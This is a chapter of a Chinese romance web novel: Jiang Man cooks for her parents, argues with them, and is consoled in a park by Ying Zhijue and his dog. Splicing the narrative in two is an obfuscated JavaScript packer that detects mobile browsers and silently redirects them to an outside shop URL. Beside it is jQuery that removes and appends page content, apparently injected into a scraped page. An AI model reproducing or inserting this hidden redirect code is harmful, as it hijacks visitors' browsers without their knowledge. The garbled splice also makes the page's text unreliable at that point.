以前有人开高价点名要应之珏当陪玩,他没理会。应之珏也不明白,今天怎么自己就心甘情愿干了陪玩的活?
而对姜满来说,她本来是想打一把游戏发泄一下情绪,逃脱出现实世界的。怎么反而心情更复杂了一点呢?姜满也不明白。
至于给自己爪子舔着毛的应之王……
算了,它应该更不明白。
姜满晚上胡想八想,自己都不知道什么时候才睡着的。
第二天睁眼已是下午,爸妈早就已经都去上班了,炒了盘鸡蛋、煎了个手抓饼摆在桌上给她当早饭,旁边还放了个小碗盛满了刚洗好的蓝莓。姜满抓了几个送入口中,脆脆甜甜,一尝就是早市上最新鲜的那一批。
姜满察觉到自己内心的触动,又有点无言以对了,这或许就是独属于东亚家庭的恨海情天吧——说爱,也爱不满;说恨,也不完全。不想整天被控制,但是真要她逃得远远的,她又舍不得了。
姜满撕开一袋辣条,整齐地码放在手抓饼上,又把炒鸡蛋也放在里面,对折夹好,抓着吃了起来。
既然父母在冷战的过程中都怕把她饿着,她也想做些什么打破这僵局。
不如给他们准备一顿晚饭!让他们下班一回家就能感受到来自女儿暖暖的爱意,还可以从侧面体现出自己的手艺开店是可行的。
姜满被自己这天才的想法激动得坐立不安,即刻就要动身前往超市采购。
“妈妈喜欢吃辣的,爸爸口味偏淡并且晚上总要喝上一杯小酒……”姜满没一会儿就想好了要做什么。
跑了这一趟,提着一袋子食材回家,姜满却一点也没有感觉到累,坐都没坐一下就立即去洗手备菜。
她看着时间也不早了,慢慢做正好能赶上父母回来吃热乎的。
第一道菜是给姜父的下酒菜。
姜满把蟹棒下入锅中煮熟,趁这个时间把黄瓜切成细细的丝,而后捞出蟹棒撕成条状,加上麻酱、醋、一点点白糖搅拌好。
家里的麻酱是浓郁款,有点太稠了,稀稀拉拉地搅不均匀,于是姜满又创新性地往里面倒了点雪碧,让这道小凉菜变得更加清清爽爽。
第二道菜是姜母爱吃的麻婆豆腐。
姜满把豆腐切好放入锅中焯水除去豆腥味,再把肉沫和小香葱一起炒熟,而后加入刚刚处理好的豆腐,倒入由豆瓣酱、辣椒面、生抽、老抽、耗油、水混制而成的小料汁,盖上锅盖焖煮片刻,最后又添上些许淀粉水来勾芡,收收汁后,完美出锅!
最后这道其实在最开始就准备上了。
两只大鸡腿被去骨洗净,这步废了姜满不少事,因为不清楚构造,她切了两刀想用蛮力直接把肉扯下来,却不小心被骨头划伤了手。
“嘶……”
姜满忍不住倒吸一口凉气,冲了冲用碘酒消消毒然后贴上了创口贴继续备餐。
拿厨房专用的厚纸巾吸干鸡腿肉的水分,加入料酒、蚝油、蜂蜜、胡椒粉以及葱姜腌制,到现在正好已经一个半小时了,于是她拿出来开始小火慢煎,待表皮金黄后,倒入秘制的照烧汁等到冒出大泡,收汁盛出。
三道菜已经把她累的不行,但是姜满对自己的手艺十分满意。
听到钥匙转动的声音,她知道是妈妈开车接着爸爸回来了,赶紧迎上前去开门。
“怎么一股香味?你又偷偷点外卖吃了?”姜母狐疑道。
果然母女没有隔夜的仇,即便过去了一天没说话,再次见面并没有一丝局促。
“什么外卖啊,明明是我自己做的,这样你们一下班就可以吃了,不用再忙着做了。”
姜父姜母洗完手,迫不及待地坐在餐桌前。姜父抿着酒,不由得称赞:“你别说,咱闺女做的还挺像样的。”
姜母舀了一勺麻婆豆腐,吃得满足:“还真不错,比你做的有滋味儿多了。”
姜满脸上的笑都藏不住了,“我这次做的还符合你们口味吧?是不是,多少还是有一点做饭的天赋的?”
知女莫如母。
姜母听她这一句话,就知道她做这一番是为了什么,于是开始数落起她来:“味道是不错,但是这味道主要都是靠调味品来的,这几道菜技术上并没有什么特别的。”
姜父也开始鸡蛋里面挑骨头:“满满的刀功还是得练啊,你看看这黄瓜丝有的薄如蝉翼,有的快成黄瓜块了,你什么时候能和爸爸切的土豆丝一样均匀,那才到了个平均水平呢。”
……得,又变脸。
姜满兴致全无,饭也不想吃了,一下子收回虎牙,脸阴沉下来。
见女儿不说话,姜母又劝她不要整天喜怒哀乐都写在脸上,不随了她的意就不开心。
姜满刚自己努力熄下去的火被姜母这一句话又给点燃了。
“我又怎么了?我好不容易做一顿饭被你们又指点一番,鸡蛋里面挑骨头,不开心都不行了?”
姜母也不留情面:“你现在才知道做饭‘好不容易’了?爸爸妈妈都给你做了二十年饭了,提提意见都不行了?”
姜母这一开团,姜父即刻围攻过来:“而且你看看你用完锅,也不刷干净,就摆在那了。等着一会汤汁干了黏在上面就更不好刷了。满满,爸爸妈妈只是说实话,你这样子没条理,我们怎么能放心让你自己做事呢?”
一腔委屈无处倾泻,姜满觉得自己快要憋死了。
没刷锅没收拾是因为她刚做完父母就回来了她才先放在那里了。现在倒好,这也成为指责她的论据了。
她吸住鼻涕,收住眼泪,披上个衬衫离开了家。“你们慢慢吃吧,我没食欲,出去遛遛再回来。”
进入公园,姜满实在是没有力气走到最近的长椅,于是直接倒在了大草坪上躺着,吸收天地之灵气——反正她今天穿的长裤,不怕有虫子。
她也想过会不会有人把她误认为是一具尸体然后打电话报警拖走,但是想想这也没什么不好的,至少让她有了个声名远扬的机会。
于是她安稳地闭上眼,任由眼泪就这样肆意地滑落。
眼角湿湿的。
……不对,不是泪水的湿。
怎么是一大块热热软软、蠕动着的东西?!
姜满以为见鬼了,被吓得惊叫出声。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17564607|204678||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“应之王你有毛病,我是没喂你吗?你舔人家脸干什么!”应之珏在应之王头上来了个暴扣,不过它的毛很快又恢复了蓬松。
应之珏看着昏黄路灯下姜满湿漉漉的眼眸和泛红的眼眶,猜出来她脸上反光的水痕应该并不全是应之王的口水。
两人相顾无言。
应之珏不想戳破她的狼狈,尽量让自己的语气一如既往地淡淡的:“地上那草到了秋天,都干巴了吧,扎不扎?去椅子那里坐吧,正好给应之王腾个地儿进行一番排泄,我感觉它看上你坐的这块了。”
姜满翘着一头呆毛坐到椅子上,紧靠着左边。
应之珏也坐过来,紧靠在右边。
他不知道姜满今天整个人怎么这么奇怪,明明昨天在游戏里还是出口成梗,把直播间氛围都带动了起来的;也不知道怎么哄她。
不过还好有应之王在。
它屁股扭啊扭的,往两人中间凑。
见它爬上来费力,姜满托了它屁股一把。
于是两人一狗就这样坐在一张长椅上。
姜满鼻腔已经被鼻涕堵满,可是她出门太急没带纸,此刻非常尴尬。
总不能用衣服擦吧,或者……
她看了看应之王那一身长毛,计量着自己把头埋进去然后擤鼻涕不被发现的概率有多大。
正当她被自己这天马行空的想法快要逗乐的时候,一只手穿过应之王的“白毛丛林”,给她递了一包纸。
“知道你不嫌弃它,但还是擦擦吧。”应之珏没有点破。
“……谢谢。”
姜满抽出纸巾,把粘稠半液态固体处理干净后,声音也变得清脆了不少,不再有浓重的鼻音:“还有,谢谢你昨天带我打游戏。”
她这一提,应之珏突然想起来自己说要给她调设置来着,于是开口询问:“你是用现在带的手机玩的吗?我给你调调灵敏度键位什么的吧。”
姜满打开游戏,把手机从应之王狗背后面递过去。
手机被拿走,姜满更是没有什么可打发时间的了,于是环抱着应之王把头埋在它身上蹭。
应之王:?咱俩到底谁才是狗。
但是你还真别说,虽然应之珏自己的日子过得昏天黑地颠三倒四的,在有限的时间里,对应之王还真是上心。
姜满每次见应之王,这么大一只,只有脚边的毛毛会沾些尘土,腿肚子向上全是白白软软的毛,连泪沟都没有,所以眼睛像大葡萄一样,一直是圆溜溜水灵灵的。
更何况这只大狗居然在这还没降温的天气里,身上一点狗狗独有的汗臭味都没有。
姜满只闻得到浅浅的沐浴露香味儿。她想,无论是自己洗还是天天送去宠物店,都不是一件方便事。
应之珏调完设置想把手机还给她时,却见姜满和应之王两颗脑袋紧贴着,路灯照射下的光把一人一狗、一黑一白的发丝都镀上一层薄薄的金光。
特别和谐、特别温馨。
时间好像都静止了。
他拿起自己的手机,没出声惊扰靠在一起的这两只,默默拍下了这美好的一幕。